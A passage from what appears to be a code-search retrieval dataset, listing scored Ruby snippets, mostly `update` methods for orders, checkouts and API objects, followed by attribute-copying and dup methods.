stale_head? && !(ENV.include?('MWV_NO_UPDATE') || path('no-update').exist?)\n system('git fetch origin', chdir: @directory)\n end\n end", "title": "" }, { "docid": "b03b5b16846921cb07f303728b5fcaf5", "score": "0.56334186", "text": "def update\n\n respond_to do |format|\n if @order.update(order_params)\n if user_signed_in? && current_user.admin\n format.html { redirect_to @order, notice: 'Order was successfully updated.' }\n format.json { render :show, status: :ok, location: @order }\n else\n @order.order_line_items.each do |f|\n \n f.fixed_item_price = f.inventory_item.price\n f.save\n @related_item = InventoryItem.find(f.inventory_item_id)\n @related_item.sold_quantity = @related_item.sold_quantity.to_i + f.order_item_qty.to_i\n @related_item.save\n binding.pry\n end\n \n format.html { redirect_to checkout_path, notice: 'Checkout'}\n end\n else\n format.html { render :edit }\n format.json { render json: @order.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "da63345424fc9aecef032928485bd149", "score": "0.5629959", "text": "def update\n \n end", "title": "" }, { "docid": "0e78fd5718e68d4584687b4e8b7d068a", "score": "0.5621279", "text": "def update\n\t\t \t\n\t\t end", "title": "" }, { "docid": "51ba7e6e1a81621035d2b97fde810c49", "score": "0.5619", "text": "def update\n order_update = Spree::OrderUpdateAttributes.new(@order, update_params, request_env: request.headers.env)\n if order_update.apply\n @order.temporary_address = !params[:save_user_address]\n success = @order.state == 'confirm' ? @order.complete : @order.next\n\n unless success\n flash[:error] = @order.errors.full_messages.join('. ')\n redirect_to(checkout_state_path(@order.state)) && return\n end\n\n if @order.completed?\n @current_order = nil\n flash.notice = Spree.t(:order_processed_successfully)\n flash['order_completed'] = true\n redirect_to checkout_complete_path\n else\n redirect_to checkout_state_path(@order.state)\n end\n else\n flash[:error] = order_update.errors.full_messages.join('. ')\n redirect_to checkout_state_path(@order.state)\n end\n end", "title": "" }, { "docid": "06b55abfe3aeac935e0961ba76f235f9", "score": "0.5615133", "text": "def update!(**args)\n @renewal_method = args[:renewal_method] if args.key?(:renewal_method)\n @transfer_lock_state = args[:transfer_lock_state] if args.key?(:transfer_lock_state)\n end", "title": "" }, { "docid": "3463e1c1b8028c6b9a2709524b4d5bb1", "score": "0.56136495", "text": "def update\n @updater.update\n end", "title": "" }, { "docid": "245daa1ff566583ffa92e5f2036b01ab", "score": "0.5611636", "text": "def update\n reset\n end", "title": "" }, { "docid": "42419fed3cdad28f233b2fa9f456a0b7", "score": "0.5609365", "text": "def update\n if !@order.payzen_payment_step? and @order.update_attributes(object_params)\n # prevent update from => 'confirm', to => 'complete' when payment is made with Payzen.\n if @order.next\n state_callback(:after)\n else\n flash[:error] = I18n.t(:payment_processing_failed)\n redirect_to checkout_state_path(@order.state)\n return\n end\n\n if @order.state == \"complete\" || @order.completed?\n flash[:notice] = I18n.t(:order_processed_successfully)\n flash[:commerce_tracking] = \"nothing special\"\n redirect_to completion_route \n else\n redirect_to checkout_state_path(@order.state)\n end\n else\n render :edit\n end\n end", "title": "" }, { "docid": "dbf3adaf64613c3fef4d6d2c6b2cba7d", "score": "0.560384", "text": "def update ; end", "title": "" }, { "docid": "30773c7b9568e95cb648918c2fd1a244", "score": "0.5593349", "text": "def update! amount = 25 # {{{\n update( amount )\n store!\n end", "title": "" }, { "docid": "6ac3c9f493db0f2c8803dafccdd803e6", "score": "0.55887944", "text": "def update!(**args)\n @total_items = args[:total_items] if args.key?(:total_items)\n end", "title": "" }, { "docid": "d8311df2818f919107b2d43dd54db2a7", "score": "0.5586762", "text": "def increment_item\n \titem.pending_orders += quantity\n \titem.save!\n end", "title": "" }, { "docid": "cabb30932daf56c4d9729368efee6f73", "score": "0.5586653", "text": "def update\n save_update(@order_item)\n end", "title": "" }, { "docid": "ebe81f4cf4b3ea73a073a04636b9bee6", "score": "0.55829483", "text": "def calculate_next_update!(fetched_ok=true)\n # Work out when next to poll.\n # TODO: Allow author to provide TTL data in the content.\n vals={ :update_again_at => Time.now + 1.week }\n vals[:last_updated_at] = Time.now.utc if fetched_ok\n \n self.update_attributes( vals )\n end", "title": "" }, { "docid": "2a527fdfcbbd84c00dedf1f77b780a5d", "score": "0.5577685", "text": "def update\n update_repo &&\n apply_changes(config.version_manager.version,\n repo.head.commit.id)\n end", "title": "" }, { "docid": "5403e72d829d68fa30cefc453cd1521a", "score": "0.55774176", "text": "def update!(**args)\n @transfer_jobs = args[:transfer_jobs] if args.key?(:transfer_jobs)\n @next_page_token = args[:next_page_token] if args.key?(:next_page_token)\n end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "c3f11e80d4ed9199aaaf751efade4812", "score": "0.5576527", "text": "def update; end", "title": "" }, { "docid": "cc9fcc7cf499f78f92bb716a6ff37a56", "score": "0.55702746", "text": "def update\n self.UpdateBasics\n self.UpdateAccessAndBilling if result.success?\n @result.success?\n end", "title": "" }, { "docid": "1a21bc5b4e2b4a0d13070ed98452aac6", "score": "0.5566068", "text": "def update\n set_temp_options(:freshen => true) do\n Athenry::build.sync\n Athenry::build.update_everything\n Athenry::build.etc_update\n Athenry::build.rebuild\n end\n end", "title": "" }, { "docid": "cddbb03351912dadbc54e287ac55222e", "score": "0.55604446", "text": "def update_next_installment amount_paid\n\t\tamount = amount_paid - next_installment\n\t\twhile(((@no_of_ins - @no_of_paid_ins) > 0) && (amount.to_i >= next_installment.to_i))\n\t\t\tp amount\n\t\t\tp next_installment\n\t\t\tp (@no_of_ins - @no_of_paid_ins)\n\t\t\tp @no_of_paid_ins\n\t\t\t@ins_str.delete_at(@no_of_paid_ins+1)\n\t\t\tamount = amount - next_installment\n\t\t\t@no_of_ins -= 1\n\t\tend\n\t\t\tamount = amount + next_installment\n\t\t\t@ins_str[(@no_of_paid_ins+1)] = (next_installment + (current_installment - amount))\n\t\t\t@ins_str[@no_of_paid_ins] = amount_paid\n\t\t\t@total_paid_fee += amount_paid\n\t\t\tincrement_paid_installments\n\t\t\tp \"You have #{@no_of_ins - @no_of_paid_ins} installments to pay\"\n\tend", "title": "" }, { "docid": "47a78c0117e45f512a8d9c8f425941dc", "score": "0.5560333", "text": "def checkout\n @items.each do |name,qty|\n item_total = 0\n\n apply_price_rules(name,qty) do |price| \n item_total += price\n @formatter.line_item(name,qty,price)\n end\n\n @total += item_total\n end\n\n @formatter.total(@total)\n end", "title": "" }, { "docid": "8240cd2832e4a13ab890a669f7ad3b88", "score": "0.5557027", "text": "def update\n # how do you do this with grit?\n Dir.chdir(path) do\n %x[git pull]\n end\n end", "title": "" }, { "docid": "bd736070790e1a740b356069c654abbd", "score": "0.55563897", "text": "def update\n if @order.update_from_params(params, permitted_checkout_attributes, request.headers.env)\n @order.temporary_address = !params[:save_user_address]\n \n if @order.state == 'payment'\n voucher = self.create_voucher(@order)\n self.go_to_paid(@order, voucher)\n else\n\n unless @order.next\n flash[:error] = @order.errors.full_messages.join(\"\\n\")\n redirect_to(checkout_state_path(@order.state)) && return\n end\n\n if not @order.completed?\n redirect_to checkout_state_path(@order.state)\n end\n end\n\n else\n render :edit\n end\n end", "title": "" }, { "docid": "42c60da3ecc7672a1b014157e51a82d4", "score": "0.55536246", "text": "def update\n # update execution\n update_execution\n # call superclass method\n super\n end", "title": "" }, { "docid": "0a2f14a305346061b67a7c92bb61dd9c", "score": "0.5553585", "text": "def update(*args)\n commit(\"update\", *args)\n end", "title": "" }, { "docid": "e9ff1829e7b17a925e85881d1ce71454", "score": "0.55491024", "text": "def update\n\n quantity_increase = item_params[:check_in_quantity].to_i\n previous_donated_quantity = @item.donated_quantity\n previous_bought_quantity = @item.bought_quantity\n\n # save previous price. Update only if new price is not blank.\n price = @item.unit_price\n\n respond_to do |format|\n if @item.update(item_params)\n\n if @item.donated=='1'\n @item.donated_quantity = previous_donated_quantity + quantity_increase\n else\n @item.bought_quantity = previous_bought_quantity + quantity_increase\n end\n\n if item_params[:unit_price]==''\n @item.unit_price = price\n end\n\n @item.save!\n\n format.html { redirect_to @item, notice: 'Item was successfully updated.' }\n format.json { render :show, status: :ok, location: @item }\n else\n format.html { render :edit }\n format.json { render json: @item.errors, status: :unprocessable_entity }\n end\n end\n end", "title": "" }, { "docid": "e08c11b77e5880535185efc3b2e56de0", "score": "0.5540677", "text": "def action_update\n run_bundler('update')\n end", "title": "" }, { "docid": "3c0357900e8f8a2cb734c6e708577016", "score": "0.55390847", "text": "def update\n # Install in pacman can be used for update, too\n self.install\n end", "title": "" } ]
936c18b1722022655fdc37a2208b0a15
Creates a copy of this object, with the given attributes changed (nondestructive update)
[ { "docid": "18b1507a3751b112e4fbd9b127d6b8e9", "score": "0.6537707", "text": "def with(new_attrs)\n self.class.new(to_h.merge(new_attrs))\n end", "title": "" } ]
[ { "docid": "1c5e609a6888d86949ef710e5bab5efb", "score": "0.75502366", "text": "def attributes\n # leave the original alone\n @attributes_copy ||= @attributes.dup\n end", "title": "" }, { "docid": "1c5e609a6888d86949ef710e5bab5efb", "score": "0.75502366", "text": "def attributes\n # leave the original alone\n @attributes_copy ||= @attributes.dup\n end", "title": "" }, { "docid": "1c5e609a6888d86949ef710e5bab5efb", "score": "0.75502366", "text": "def attributes\n # leave the original alone\n @attributes_copy ||= @attributes.dup\n end", "title": "" }, { "docid": "a00ebc86e0947762ab5ad4dcc3d9d0e3", "score": "0.7468126", "text": "def freeze\n @attributes = @attributes.clone.freeze\n self\n end", "title": "" }, { "docid": "a00ebc86e0947762ab5ad4dcc3d9d0e3", "score": "0.7468126", "text": "def freeze\n @attributes = @attributes.clone.freeze\n self\n end", "title": "" }, { "docid": "a00ebc86e0947762ab5ad4dcc3d9d0e3", "score": "0.7468126", "text": "def freeze\n @attributes = @attributes.clone.freeze\n self\n end", "title": "" }, { "docid": "a00ebc86e0947762ab5ad4dcc3d9d0e3", "score": "0.7468126", "text": "def freeze\n @attributes = @attributes.clone.freeze\n self\n end", "title": "" }, { "docid": "43b9eaf66b0806832f5e2b197bf5fd6f", "score": "0.744225", "text": "def initialize(attributes)\n @attributes = attributes.dup.freeze\n end", "title": "" }, { "docid": "e7123aee604d80f1355f0bc3f0b9dc06", "score": "0.7413715", "text": "def copy\n obj = self.dup\n obj.attributes = {:created_at => nil, :updated_at => nil}\n obj\n end", "title": "" }, { "docid": "b7497bcdea81ddbb1c5e39481ec28183", "score": "0.7390688", "text": "def dup\n obj = super\n obj.instance_variable_set('@attributes', instance_variable_get('@attributes').dup)\n obj\n end", "title": "" }, { "docid": "50778cb5769dd8fc1fca7abfdb4178f2", "score": "0.73738", "text": "def copy(attributes=nil)\n copy = self.class.new\n copy.attributes = self.attributes.dup.except(\"id\", \"downloads\")\n copy.attributes = attributes if attributes\n copy\n end", "title": "" }, { "docid": "ec850447ff9cc67311373746c58117d3", "score": "0.7343759", "text": "def initialize(attributes)\n @attributes = attributes.dup\n end", "title": "" }, { "docid": "e57b6bea8827d7d3e6e07b6672238694", "score": "0.73060715", "text": "def clone\n cl = super\n cl.clone_attrs\n end", "title": "" }, { "docid": "b15b15f1295a1219b025f72bfff65f31", "score": "0.730511", "text": "def attributes_dup\n @attributes.dup\n end", "title": "" }, { "docid": "8095999e3e0c5397eb4c7e025622a093", "score": "0.72998726", "text": "def attributes\n @attributes.dup\n end", "title": "" }, { "docid": "8095999e3e0c5397eb4c7e025622a093", "score": "0.72998726", "text": "def attributes\n @attributes.dup\n end", "title": "" }, { "docid": "faca029d713a6d7b3ff12bb6b8ccb11d", "score": "0.72903675", "text": "def clone\n Attribute.new self\n end", "title": "" }, { "docid": "8c5b25273974cb3c679d3bf6dd66c281", "score": "0.72542095", "text": "def original_attributes\n @_original_attributes ||= subject.attributes.dup\n end", "title": "" }, { "docid": "8c5b25273974cb3c679d3bf6dd66c281", "score": "0.72542095", "text": "def original_attributes\n @_original_attributes ||= subject.attributes.dup\n end", "title": "" }, { "docid": "9cb5cafe12fd521e7e44cbd49d64bdc5", "score": "0.7209697", "text": "def attributes\n @attributes.dup\n end", "title": "" }, { "docid": "34670ef9d5a69d3300c7d3611c18eb31", "score": "0.717995", "text": "def freeze\n super\n @attributes.freeze\n end", "title": "" }, { "docid": "fb3283aef2a3cccbfe519a219f499a29", "score": "0.71065015", "text": "def copy(attributes = {})\n dup.tap { |copy| copy.attributes = attributes }\n end", "title": "" }, { "docid": "0d9250bb8dd4f908bc314f0d402ef1ce", "score": "0.7105532", "text": "def attr_deep_copy\n\t\tfail if (@attributes && !@attributes.empty?) || @core_box\n\t\t#fail if @attributes || @core_box\n\t\th = self.dup\n\t\th.bbox = @bbox.dup # should never be nil\n\t\th.xyalign = @xyalign.map{|el| el.dup} if @xyalign\n\t\th.lines = @lines.dup if @lines\n\t\treturn h\n\tend", "title": "" }, { "docid": "7fc94f8f42e694f5b3b24871b8854a6b", "score": "0.7101603", "text": "def freeze\n _attributes.freeze; self\n end", "title": "" }, { "docid": "439d6f973c93b8effcd2b6238a8ba763", "score": "0.71007365", "text": "def update!(attributes)\n record.assign_attributes(attributes)\n return self unless record.changed?\n\n super attributes\n end", "title": "" }, { "docid": "b3a9b8e9dc0f91cd55a61473d5e8c717", "score": "0.709678", "text": "def shallow_copy\n new_obj = self.class.new\n new_obj.assign_fields field_values\n new_obj\n end", "title": "" }, { "docid": "68a46b28c595c0deb59aca17e1bcaaf4", "score": "0.70863813", "text": "def initialize_dup(other)\n super\n attrib = other.attributes.except(\"id\", \"created_at\", \"updated_at\")\n self.assign_attributes(attrib)\n end", "title": "" }, { "docid": "7030fb29c08c1d8659b607a15371380a", "score": "0.7069354", "text": "def attributes= new_attrs\n set_property(:attributes, new_attrs)\n end", "title": "" }, { "docid": "9cf760cee052adacfee425b38251d3f9", "score": "0.7050825", "text": "def assign_attributes(new_attributes, *args)\n return if new_attributes.nil?\n attrs = new_attributes.dup\n attrs.stringify_keys!\n\n %w(project project_id).each do |attr|\n if attrs.has_key?(attr)\n send \"#{attr}=\", attrs.delete(attr)\n end\n end\n super attrs, *args\n end", "title": "" }, { "docid": "bbd87ec5020f32f4132acc8760845b25", "score": "0.70468754", "text": "def shallow_clone(new_attributes = {})\n new_attributes = IdiomaticRubyWrapper(new_attributes.clone.freeze, stop_at: [:data])\n\n self.class.new(attributes.to_hash.merge(\n id: new_attributes[:id] || id,\n connection_id: new_attributes[:connection_id] || connection_id,\n timestamp: new_attributes[:timestamp] || as_since_epoch(timestamp)\n ).merge(new_attributes.to_hash))\n end", "title": "" }, { "docid": "5d3e68cb067db4044742f130758eb3b0", "score": "0.704003", "text": "def freeze\n @attributes.freeze; self\n end", "title": "" }, { "docid": "5d3e68cb067db4044742f130758eb3b0", "score": "0.70399934", "text": "def freeze\n @attributes.freeze; self\n end", "title": "" }, { "docid": "5d3e68cb067db4044742f130758eb3b0", "score": "0.70399934", "text": "def freeze\n @attributes.freeze; self\n end", "title": "" }, { "docid": "5d3e68cb067db4044742f130758eb3b0", "score": "0.70399934", "text": "def freeze\n @attributes.freeze; self\n end", "title": "" }, { "docid": "cf155c327f76bc764289e14415792f75", "score": "0.7026549", "text": "def clone\n self.class.instantiate(@attributes.except(:_id).except(:versions).dup, true)\n end", "title": "" }, { "docid": "6db14d6109b6a0fb4357477053b675b7", "score": "0.70112884", "text": "def dup\n new(attrs.each_with_object(Attributes::Hash.new) do |(k, v), obj|\n obj[k] = v.dup\n end)\n end", "title": "" }, { "docid": "749afa4ff068e21c7d78bbad94c19d6c", "score": "0.70020425", "text": "def update!(attributes); end", "title": "" }, { "docid": "7071f0127c93af8894914b0d5e6d24c3", "score": "0.699964", "text": "def original_attributes\n attributes.merge(changed_attributes)\n end", "title": "" }, { "docid": "d598147ad6c5f4311190c13d2579401a", "score": "0.69908154", "text": "def original_attributes\n @original_attributes ||= versioned_attributes\n end", "title": "" }, { "docid": "db372252f791bd57e79752cfc28c704d", "score": "0.6986524", "text": "def freeze\n @attributes.freeze; self\n end", "title": "" }, { "docid": "a455e04dc507a0e2ad59fd61d1765296", "score": "0.69737524", "text": "def initialize_dup(source)\n @attributes = source.attributes.dup\n super\n end", "title": "" }, { "docid": "d1c55b3e7d73946315b1fe15f9d837dc", "score": "0.69656056", "text": "def original_attributes\n @original_attributes ||= {}\n end", "title": "" }, { "docid": "856bfbe03c44b47bb129fa5dcc1cf4f1", "score": "0.6958701", "text": "def freeze\n @attributes.freeze; self\n end", "title": "" }, { "docid": "856bfbe03c44b47bb129fa5dcc1cf4f1", "score": "0.6958701", "text": "def freeze\n @attributes.freeze; self\n end", "title": "" }, { "docid": "5f9b6e13a752e783904a1609241b3f09", "score": "0.6940759", "text": "def clone\n self.class.new(tag: self.tag, data: self.data, attributes: self.attributes.dup)\n end", "title": "" }, { "docid": "2a606200c5f1e97a10ad3111c2981115", "score": "0.69299835", "text": "def restore_attributes\n @attributes = @original_attributes\n end", "title": "" }, { "docid": "b7d8baf251ab55022f9993b1f3a13bbd", "score": "0.6921288", "text": "def original_attributes\n clone_attributes :read_original_attribute\n end", "title": "" }, { "docid": "45e7c53f1459d6705f2a96935581024c", "score": "0.69034773", "text": "def dup\n object = super()\n object.instance_variable_set(\"@rod_id\",0)\n object.instance_variable_set(\"@reference_updaters\",@reference_updaters.dup)\n object.instance_variable_set(\"@changed_attributes\",@changed_attributes.dup)\n object\n end", "title": "" }, { "docid": "a2a00f4b07aa8ba08ebf3069f2bff249", "score": "0.68944883", "text": "def attributes=(attributes = {})\n @attributes = self.wrap_attributes(attributes)\n end", "title": "" }, { "docid": "c70f0ad05c5834440512d82b2a07d08c", "score": "0.6893011", "text": "def patch(attributes)\n sanitize_for_mass_assignment(attributes).each { |k, v| self[k] = v }\n end", "title": "" }, { "docid": "251d9cb742bc13dc7d72fd6d12cad8dc", "score": "0.6880464", "text": "def copy_attributes(other)\n self.title = other.title\n self.description = other.description\n self.staff_only_comments = other.staff_only_comments\n self.maximum_grade = other.maximum_grade\n end", "title": "" }, { "docid": "167aea8c02b64cca5b803eff65752a11", "score": "0.68198866", "text": "def clone\n self.class.instantiate(@attributes.except(\"_id\").except(\"versions\").dup, true)\n end", "title": "" }, { "docid": "642e813037b3e2c9a48234050ceffa8c", "score": "0.68193", "text": "def attributes\n @attributes ||= self.class.attributes.dup\n end", "title": "" }, { "docid": "2c09398a1baa2f1f735dcaf6d4058a4f", "score": "0.6813251", "text": "def copy(attributes=nil, copy_options={})\n copy = self.class.new.copy_from(self, copy_options)\n copy.attributes = attributes if attributes\n copy\n end", "title": "" }, { "docid": "2c09398a1baa2f1f735dcaf6d4058a4f", "score": "0.6813251", "text": "def copy(attributes=nil, copy_options={})\n copy = self.class.new.copy_from(self, copy_options)\n copy.attributes = attributes if attributes\n copy\n end", "title": "" }, { "docid": "92ab26601e0d4d2c21e5382a782d4329", "score": "0.67987317", "text": "def assign_attributes(new_attributes)\n self.attributes = new_attributes\n end", "title": "" }, { "docid": "27a69522cd8fe477a054813ce2b97780", "score": "0.6790158", "text": "def attributes=(new_attributes) \n attributes.update(new_attributes)\n end", "title": "" }, { "docid": "27a69522cd8fe477a054813ce2b97780", "score": "0.6790158", "text": "def attributes=(new_attributes) \n attributes.update(new_attributes)\n end", "title": "" }, { "docid": "eea4caf44c82af4f6b6b08ca01c186df", "score": "0.67793554", "text": "def rewrite_attributes!(attributes)\n yield self if(block_given?)\n update_attributes_orig!(process_attributes(true, attributes))\n end", "title": "" }, { "docid": "f3f4a7d345ec43408f2749b9814a29c4", "score": "0.6764134", "text": "def freeze\n as_attributes.freeze and self\n end", "title": "" }, { "docid": "368b917860f333c5e8e824e86274e8a5", "score": "0.67356277", "text": "def new_attributes(name)\n attributes.merge!(existing_attributes(name))\n end", "title": "" }, { "docid": "38cff7d870fe334221e5c3a3ff044a20", "score": "0.6724019", "text": "def non_destructive_merge(old_obj, new_obj)\n @new_attrs = new_obj.attributes.reject { |k, v| v.nil? }\n @new_attrs.reject! { |k, v| v.blank? }\n old_obj.attributes = @new_attrs\n old_obj\n end", "title": "" }, { "docid": "30d7a6d00f549f45e3d0fe40c48ba0cb", "score": "0.67133784", "text": "def new_attributes(name)\n existing_attributes(name).merge!(attributes)\n end", "title": "" }, { "docid": "30d7a6d00f549f45e3d0fe40c48ba0cb", "score": "0.67133784", "text": "def new_attributes(name)\n existing_attributes(name).merge!(attributes)\n end", "title": "" }, { "docid": "2c5d302956020c911af4e6c3109d36c4", "score": "0.66795313", "text": "def reset_object!(attributes)\n reset_atomic_updates!\n\n @attributes = attributes\n @attributes_before_type_cast = @attributes.dup\n @changed_attributes = {}\n @previous_changes = {}\n @previous_attributes = {}\n @previously_new_record = false\n\n reset_readonly\n apply_defaults\n reload_relations\n end", "title": "" }, { "docid": "a048ab1806deea8bffee958ded5dac69", "score": "0.66353077", "text": "def initialize(attrs={})\n @attrs = attrs.dup\n end", "title": "" }, { "docid": "a048ab1806deea8bffee958ded5dac69", "score": "0.66353077", "text": "def initialize(attrs={})\n @attrs = attrs.dup\n end", "title": "" }, { "docid": "a048ab1806deea8bffee958ded5dac69", "score": "0.66353077", "text": "def initialize(attrs={})\n @attrs = attrs.dup\n end", "title": "" }, { "docid": "07bced258943be819913aa12f2633636", "score": "0.66171587", "text": "def copy(attributes = {})\n dup.tap do |copy|\n copy.attributes = attributes\n copy.list_items = list_items.map(&:copy)\n end\n end", "title": "" }, { "docid": "b8a557f5a80bec41f3997cd56c8c48c6", "score": "0.660466", "text": "def freeze\n @attrs.freeze; self\n end", "title": "" }, { "docid": "5f498fea6f1f1c816e49dd567652a16c", "score": "0.6601212", "text": "def alter(attributes = Hash.new)\n result = @@default.merge(@attributes).merge(attributes)\n return self.class.new(result)\n end", "title": "" }, { "docid": "109efd8a86bcb8d9655ef08f9acd9041", "score": "0.65822", "text": "def copy\n copy = self.clone #Currently, we overwrite everything anyway, but we may add some clonable attributes later.\n #Make a deep copy of all actions.\n copy.instance_eval {@actions = []}\n self.actions.each {|action| copy.add_action(action.copy)}\n #Make a deep copy of all conditions.\n copy.instance_eval {@conditions = []}\n self.conditions.each {|condition| copy.add_condition(condition.copy)}\n copy\n end", "title": "" }, { "docid": "ac08986ec87b76f240cda6170c79590f", "score": "0.65813273", "text": "def update_attributes(attributes)\n # make a copy so we don't mess with anything\n copied_attributes = Hash[*attributes.flatten]\n\n if copied_attributes[\"billing_address_attributes\"]\n copied_attributes[\"billing_address_attributes\"][\"id\"] = nil\n end\n \n super(copied_attributes)\n end", "title": "" }, { "docid": "7daeaa883e37ff8808dd7e020448d221", "score": "0.65747", "text": "def update_attributes!(attributes)\n self.attributes = attributes\n save!\n end", "title": "" }, { "docid": "7daeaa883e37ff8808dd7e020448d221", "score": "0.65747", "text": "def update_attributes!(attributes)\n self.attributes = attributes\n save!\n end", "title": "" }, { "docid": "7daeaa883e37ff8808dd7e020448d221", "score": "0.65747", "text": "def update_attributes!(attributes)\n self.attributes = attributes\n save!\n end", "title": "" }, { "docid": "6532bed233db754d442be9df753b7ac4", "score": "0.65601146", "text": "def update_from_given_attributes\n self.attributes = data_model.attributes.slice(*form_attributes).merge(given_attributes)\n end", "title": "" }, { "docid": "593b2a14e5e29b433e275abd1bd42153", "score": "0.6535727", "text": "def new_attributes\n (changes || {}).inject({}.with_indifferent_access) do |attrs,(attr,values)|\n attrs[attr] = values.is_a?(Array) ? values.last : values\n attrs\n end\n end", "title": "" }, { "docid": "a50fe787e68c25077aa034f998b58ed8", "score": "0.65255654", "text": "def copied_attributes\n\t\tattrs = {}\n\t\tattrs[:name] = self.name\n\t\tattrs[:minimum_age] = self.minimum_age\n\t\tattrs[:maximum_age] = self.maximum_age\n\t\tattrs[:consider_year] = self.consider_year\n\t\tattrs[:consider_gender] = self.consider_gender\n\t\tattrs[:paid_period_length] = self.paid_period_length\n\t\tattrs[:protection_length] = self.protection_length\n\t\tattrs[:group] = self.group\n\t\tattrs[:company] = self.company\n\t\tattrs[:tag_list] = self.tag_list\n\t\tattrs[:maximum_cover_age] = self.maximum_cover_age\n\n\t\t# Ref ID\n\t\tattrs[:reference_id] = self.id\n\n\t\tattrs\n\tend", "title": "" }, { "docid": "3f4b04ce21363bf314aa412c96388ff6", "score": "0.65181065", "text": "def copied_attributes\n\t\tattrs = {}\n\t\tattrs[:surrender_type] = self.surrender_type\n\t\tattrs[:year] = self.year\n\t\tattrs[:assured_age] = self.assured_age\n\t\tattrs[:rpu] = self.rpu\n\t\tattrs[:ecv] = self.ecv\n\t\tattrs[:eti] = self.eti\n\t\tattrs[:eti_year] = self.eti_year\n\t\tattrs[:eti_day] = self.eti_day\n\t\tattrs[:etipe] = self.etipe\n\n\t\tattrs\n\tend", "title": "" }, { "docid": "42a0145e6b33555023eb2a002b6b0bf1", "score": "0.65169114", "text": "def update_attributes!(attributes)\n yield self if(block_given?)\n super(process_attributes(false, attributes))\n end", "title": "" }, { "docid": "0cbb213d486f1670924103755c084222", "score": "0.65134406", "text": "def copied_attributes\n\t\tattrs = {}\n\t\tattrs[:name] = self.name\n\t\tattrs[:description] = self.description\n\t\tattrs[:status] = self.status\n\t\tattrs[:premium] = self.premium\n\t\tattrs[:amount] = self.amount\n\t\tattrs[:maximum_cover_age] = self.maximum_cover_age\n\t\tattrs[:reference_id] = self.id\n\t\tattrs[:tag_list] = self.tag_list\n\n\t\tattrs\n\tend", "title": "" }, { "docid": "f15c29cc3ab3136f87ea82f3bc951959", "score": "0.6507984", "text": "def attributes= attrs\n self.assign_attributes(attrs)\n end", "title": "" }, { "docid": "0eba333cfb9d5e58086aef33ba2e5c88", "score": "0.6507541", "text": "def dirty_attributes\n dirty_attributes = {}\n\n original_attributes.each_key do |property|\n dirty_attributes[property] = property.value(property.get!(self))\n end\n\n dirty_attributes\n end", "title": "" }, { "docid": "14e37567575640d05f39a43c0ae57842", "score": "0.6506123", "text": "def update_attributes!(attributes)\n assign_attributes(attributes)\n save!\n end", "title": "" }, { "docid": "a3a2453171f9724493c416709d48cec6", "score": "0.6495433", "text": "def full_clone\n res = self.clone\n res.remove_bad_instance_variables\n if self.id\n attrs = res.send :instance_variable_get, '@attributes'\n attrs[self.class.primary_key] = self[self.class.primary_key]\n end\n res.instance_eval(\"@attributes_cache ||= {}\")\n res\n end", "title": "" }, { "docid": "adfffb657464867a2db72850c196e990", "score": "0.64736116", "text": "def assign_attributes(new_attributes)\n return unless new_attributes\n unless (new_attributes.has_key?(:modified_by) && !new_attributes[:modified_by].nil?) || (new_attributes.has_key?(:modified_by_id) && !new_attributes[:modified_by_id].nil?)\n self.modified_by = nil\n end\n super\n end", "title": "" }, { "docid": "294f05c0d711a4e1d3b6f9d7c743f724", "score": "0.64671755", "text": "def replace!\n # self.class.transaction do\n # clone = self.class.new\n # self.attributes.each do |key, value|\n # next if ['id','created_at','removed_at'].include? key\n # clone.send(:write_attribute, key, value)\n # end\n # yield\n # clone.save!\n # self.remove!\n # return clone\n # end\n end", "title": "" }, { "docid": "d8b3bf9ec121e23dad3af2edca6e6094", "score": "0.64629954", "text": "def update(attributes); end", "title": "" }, { "docid": "69892ed426dc9228c0bf5c1556513f29", "score": "0.6454185", "text": "def clone\n attrs = clone_attributes(:read_attribute_before_type_cast)\n attrs.delete(self.class.primary_key)\n record = self.class.new\n record.send :instance_variable_set, '@attributes', attrs\n record\n end", "title": "" }, { "docid": "879f1214e030bb2d9e43a0aedb1bc3ea", "score": "0.64471495", "text": "def update_with(attributes)\n assign_attributes(attributes)\n end", "title": "" }, { "docid": "ae013c90c40e6c0340934bcf064c18c2", "score": "0.64463335", "text": "def new_attributes\n (changes || {}).inject({}.with_indifferent_access) do |attrs,(attr,values)|\n attrs[attr] = Array(values).last\n attrs\n end\n end", "title": "" }, { "docid": "ae013c90c40e6c0340934bcf064c18c2", "score": "0.64463335", "text": "def new_attributes\n (changes || {}).inject({}.with_indifferent_access) do |attrs,(attr,values)|\n attrs[attr] = Array(values).last\n attrs\n end\n end", "title": "" }, { "docid": "ae013c90c40e6c0340934bcf064c18c2", "score": "0.64463335", "text": "def new_attributes\n (changes || 